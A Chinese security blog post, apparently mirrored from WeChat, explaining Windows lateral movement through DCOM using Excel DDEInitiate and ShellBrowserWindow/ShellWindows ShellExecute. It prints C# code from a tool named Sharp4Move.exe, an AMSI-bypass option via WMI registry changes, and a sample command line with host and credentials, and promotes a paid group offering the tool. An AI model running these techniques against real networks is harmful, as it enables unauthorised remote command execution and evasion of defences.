DCOM 技术内网实战,通过 ExcelDDE 和 ShellBrowserWindow 实现横向移动
2025-1-21 00:20:0 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

这篇文章将介绍如何利用 .NET 中的 ExcelDDE 技术,通过 DCOM 实现远程命令执行。ExcelDDE是一种用于在 Excel 和其他应用程序之间交换数据的协议,ShellBrowserWindow 是一个通过 ShellExecute 方法来执行命令的接口,通常用来启动外部程序或脚本。在某些安全测试和渗透测试场景中,这两种技术可以被用来执行远程命令,绕过安全措施并与远程计算机交互。

01. ExcelDDE 概述

在渗透测试中,攻击者可以利用多种技术进行远程命令执行。其中,通过 DCOM 技术,可以远程创建和调用对象来执行命令,而 ExcelDDE 是 DCOM 技术的一种应用,允许通过 Excel 启动命令。

1.1 DDE

DDE 是 Microsoft 提供的另一项技术,允许应用程序间进行数据交换。Excel 本身支持 DDE,通过 Excel.Application 对象,攻击者可以利用 DDE 协议在 Excel 与其他应用程序之间传递命令。这种协议可以让攻击者在不直接交互的情况下,间接执行远程命令。
以下是利用 Excel.Application 对象和 DDEInitiate 方法,通过 DCOM 实现远程命令执行的代码。
bool flag4 = Method.ToLower() == "exceldde";
if (flag4)
{
Console.WriteLine("[+] Executing DCOM ExcelDDE : {0}", host);
Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
object obj11 = Activator.CreateInstance(typeFromProgID2);
obj11.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, obj11, new object[] { false });
obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });
}
代码使用 Type.GetTypeFromProgID 方法通过 Excel.Application 创建一个 Excel 应用程序的 COM 对象。host 是目标计算机的地址或名称,表示远程执行的目标。
Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
object obj11 = Activator.CreateInstance(typeFromProgID2);
Activator.CreateInstance 动态创建了 Excel 应用程序的实例,最后使用 DDEInitiate 方法初始化 DDE 连接,text3 和 text2 分别是要传递的参数,具体代码如下所示。
obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });
DDEInitiate 方法是 Excel 提供的用来启动 DDE 连接的接口,它会与其他程序建立连接并交换数据。利用这一方法,攻击者可以通过 Excel 发起远程命令执行。
02. ShellBrowser 

ShellBrowserWindow 和 DCOM 是执行远程操作的关键工具。通过 ShellExecute 方法,我们能够在远程计算机上执行命令。以下是代码的详细分析,展示了如何利用 DCOM 调用和 ShellBrowserWindow 来执行远程命令。

bool flag23 = dictionary["action"].ToLower() == "dcom";
if (flag23)
{
bool flag24 = dictionary.ContainsKey("computername") && dictionary.ContainsKey("command");
if (flag24)
{
string[] array7 = dictionary["computername"].Split(new char[] { ',' });
foreach (string host4 in array7)
{
string method = "ShellBrowserWindow";
bool flag25 = dictionary.ContainsKey("method");
if (flag25)
{
method = dictionary["method"];
}

bool flag26 = dictionary.ContainsKey("eventname");
if (flag26)
{
string text6 = dictionary["eventname"];
}

bool flag27 = dictionary.ContainsKey("amsi") && dictionary["amsi"] == "true";
if (flag27)
{
ManagementScope managementScope3 = Program.WMIConnect(host4, username, password);
List<ManagementBaseObject> outParams3 = Program.SetRegKey(managementScope3);
Thread.Sleep(2000);
Program.RemoteDCOM(host4, dictionary["command"], method);
Thread.Sleep(2000);
Program.UnsetRegKey(managementScope3, outParams3);
}
else
{
Program.RemoteDCOM(host4, dictionary["command"], method);
}
}
}
}

首先,代码检查是否为 dcom 操作,如果有多个目标主机,程序将使用 Split 方法将其分割,并对每个主机执行相同的操作。随后,代码再次检查执行方法是否为 ShellWindows。如果是,将执行 ShellExecute 方法来启动命令。

bool flag = Method.ToLower() == "shellwindows";
if (flag)
{
Console.WriteLine("[+] Executing DCOM ShellWindows : {0}", host);
string g = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
Type typeFromCLSID = Type.GetTypeFromCLSID(new Guid(g), host);
object obj = Program.NewMethod(typeFromCLSID);
object obj2 = obj.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, obj, new object[0]);
object obj3 = obj2.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, obj2, null);
object obj4 = obj3.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, obj3, null);
obj4.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, obj4, new object[] { text3, text2, text, null, 0 });
}

上述代码中9BA05972-F6A8-11CF-A442-00A0C90A8F39 是 CLSID,代码通过 Type.GetTypeFromCLSID 方法动态获取该类型。最后,通过反射调用 ShellExecute 方法来执行命令。参数包括要执行的命令以及其他配置。

03. 工具实战操作 

Sharp4Move.exe 便是这样一款基于 .NET 实现的,结合了 DCOM 和其他攻击技术,支持从一台已入侵的主机向网络中其他计算机远程执行命令。通过该工具,渗透测试人员可以模拟攻击者在网络内的横向移动。

3.1 工具用法

下是 Sharp4Move.exe 的一个典型使用场景。通过命令行输入参数,可以指定目标主机和要执行的命令:
Sharp4Move.exe action=create computername=PC-20201112PLZR command="C:\windows\system32\winver.exe" amsi=true username=ivan1ee password=123456
此处的action,指定要执行的操作,通常是 create,表示在目标计算机上执行命令,参数command,表示要在目标计算机上执行的命令或程序路径,运行后如下图所示。

目标计算机使用指定的用户名和密码进行身份验证,再通过 DCOM 执行命令在远程主机PC-20201112PLZR 上启动 winver.exe 进程。

3.2 小结

综上Sharp4Move.exe 是一款强大的横向移动工具,利用 Windows 的 DCOM 技术,支持跨多台计算机执行命令。不仅能够绕过 AMSI 防护,还能帮助渗透测试人员模拟攻击者在企业网络中的横向移动行为文章涉及的工具已打包在星球,感兴趣的朋友可以加入自取。
04. 技术精华内容

从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!




05. 加入安全社区
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最专业的技术知识库之一,超 1200+ 成员一起互动学习。星球主题数量近 600+,精华主题 230+,PDF文档和压缩包 300+ 。从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的实战指南和最佳实践。

20+专栏文章

星球文化始终认为授人以鱼不如授人以渔!星球整理出 20+ 个专题栏目涵盖 .NET安全 点、线、面、体等知识范围,助力师傅们实战攻防!其中主题包括.NET  内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。

海量资源和工具

截至当前,dot.Net安全矩阵星球社区汇聚了 600+ 个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面,在实战中能够发挥显著作用,为对抗突破提供强有力的支持。

专属成员交流群

我们还有多个成员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。

已入驻的大咖们

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

欢迎加入我们

dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好! 


文章来源: https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247498360&idx=1&sn=8ee091f555c386b755c5300547ac08fe&chksm=fa595495cd2edd832583640b60f915e352d7d6d9eb98f85963e41303ca492d2bcb869dfcdb3b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh